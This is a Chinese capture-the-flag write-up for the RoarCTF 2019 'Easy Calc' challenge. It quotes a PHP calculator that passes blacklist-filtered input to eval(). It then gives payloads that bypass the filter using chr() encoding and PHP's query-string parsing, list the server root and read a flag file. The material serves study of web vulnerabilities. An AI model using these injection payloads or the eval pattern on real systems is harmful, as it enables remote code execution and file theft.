[RoarCTF 2019]Easy Calc
直接抓包分析一下,输入1+1
发现是get传参,传给calc.php,我们去访问一下calc.php
得到
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
同时,在index.php的页面源代码发现
这个应该是类似WAF一样的东西
因为过滤了/,可以用chr(47)来代替,chr():返回相对应于 ascii
所指定的单个字符
尝试
?num=print_r(scandir(chr(47)))
发现
这里就是被WAF拦截了,需要绕过WAF对num的检测
用到原理:PHP的字符串解析特性。
感谢沐目_01
师傅的解释:
所以在calc.php传参
? num=print_r(scandir(chr(47)))
得到
然后读取根目录下的f1agg
使用file_get_contents()函数
payload:
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
相当于
? num=print_r(file_get_contents(/f1agg))